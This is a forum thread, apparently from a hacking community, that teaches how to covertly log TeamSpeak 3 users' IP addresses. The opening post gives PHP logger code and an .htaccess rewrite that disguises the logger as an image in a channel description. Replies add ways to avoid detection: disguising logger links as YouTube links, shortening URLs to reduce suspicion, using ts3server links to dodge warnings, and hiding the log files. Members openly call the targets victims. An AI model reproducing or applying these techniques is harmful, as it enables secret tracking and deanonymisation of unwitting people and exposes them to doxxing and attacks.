Tutorial Get user's ip address via TeamSpeak 3

Laszl0w

Well-Known Member
Oct 10, 2015
217
149
143
Hey.
1. You should get a free webserver.
2.You need to make 4 files.
  • -iplogger.php
  • .htaccess
  • -image.gif
  • -logger.html
Open your iplogger.php and type it.
<?php
$log = 'logger.html';
$ip = $_SERVER['REMOTE_ADDR'];
$page = $_SERVER['REQUEST_URI'];

$date_time = date("l j F Y g:ia", time() - date("Z")) ;
$agent = $_SERVER['HTTP_USER_AGENT'];
$fp = fopen("logger.html", "a");
fputs($fp, "
<b>$date_time</b> <br> <b>IP address: </b>$ip<br><b>Page: </b>$page<br><b>Browser:

</b>$agent <br><br>
");
flock($fp, 3);
fclose($fp);
?>

Open your .htaccess file and type it:
RewriteEngine on
RewriteRule ^image.gif$ iplogger.php

Make an empty logger.html.
Make an image which name is image.gif.

How to use it?

Change your channel description to :


When somebody click on your room their IP is on logger.html.
Result:

Tuesday 22 September 2015 4:48pm
IP address: 84.236.79.175
Page: /drx/image.gif
Browser: TeamSpeak3-ImageFetcher-1.0
That's it.
 
Last edited:

9dc

Member
Sep 21, 2015
47
18
43
Do i need a custom gif or can i use any? what does the rewrite rule do? :)
 

Laszl0w

Well-Known Member
Oct 10, 2015
217
149
143
Just make a file named image.gif.
ReWriteRule is when you want to see image.gif it will load the iplogger.php you your ip will be logged.
 
U

User_418

Do i need a custom gif or can i use any? what does the rewrite rule do? :)
Rewrite rule sends your request to that php script instead of a gif. You can use any gif, even an empty file will wort (theoretically).

Also, I think that "<br><b>Browser: </b>$agent <br>" part can be removed, you'll get no useful information from that, except if you want to know if someone used regular browser instead of teamspeak to try to reach your gif.
And even more, don't name your scripts like "iplogger", some hosting providers won't like it. Same for that html file. And also, you should forbid everyone from seeing list of files in your directory, as they'll find a log file.
Add this to .htaccess (don't forget about empty line).
Code:
Options -Indexes
 
Last edited by a moderator:

Laszl0w

Well-Known Member
Oct 10, 2015
217
149
143
Im using it on my own xampp server.
That's why i called it to : iplogger
 

L.

Active Member
Sep 1, 2015
120
111
88
wont work for me
(fixed i'm a retard)

now we only need something like a clean.php (you open it and it will clean the log.html)
 
Last edited:

bl4uni

Active Member
Sep 10, 2015
106
69
73
That doesn't matter when you put it as [ img ] in the channel description, does it? People wont even be able to see your link. That's the whole point of doing it in the first place.
 

bl4uni

Active Member
Sep 10, 2015
106
69
73
**? It's because the forum display's it as a empty image file and I didn't want to make a [ code ] tag just for that, lol.
 
Last edited:
U

User_418

That doesn't matter when you put it as [ img ] in the channel description, does it? People wont even be able to see your link. That's the whole point of doing it in the first place.
Well, yeah, but some admins tend to monitor channel descriptions and that link might lead to something bad to channel admin. Same with some bots that monitor descriptions (Rbmod can do that, if I'm not mistaken).
 
Last edited by a moderator:

Betterfudge

Member
Sep 25, 2015
23
10
41
Nice. You can also send them an ip logger link (shorten it with google's url shortener for less suspicion) which will trigger the ip trap. Iplogger.com also has the image url feature, where you can paste the image url into the channel description, and anyone joining the channel will have their ip recorded. Just thought I'd share two other cool examples of ip traps!
 

Phyx

Member
Oct 21, 2015
33
27
53
Another method is this:
Code:
[url=http://your-ip-logger.com/script.php]https://www.youtube.com/watch?v=Ow_qI_F2ZJI[/url]

This will create a YouTube link in TeamSpeak, when your victim clicks on it your IP logger will be loaded. TeamSpeak has link warnings now though, so the best thing to do is launch a TS3 server for IP logging then do this.

Code:
[url=ts3server://ip-log-server.com:9987]https://www.youtube.com/watch?v=Ow_qI_F2ZJI[/url]

ts3server URIs give no warning (I think) and so when someone clicks on the YouTube link they will connect into your TeamSpeak 3, then you have their IP.
 
Last edited:

Jazzo

Member
Dec 8, 2015
1
0
33
Hey guys just wondering , i set this up works fine except it only gets a ip if someone actually goes to the url , if someone joins the teamspeak channel it doesn't work :/

Can someone help me know why its not working
 

Laszl0w

Well-Known Member
Oct 10, 2015
217
149
143
Does not work with 3.0.18.2 cuz TeamSpeak3 block image cuz RFI exploit.
 
Top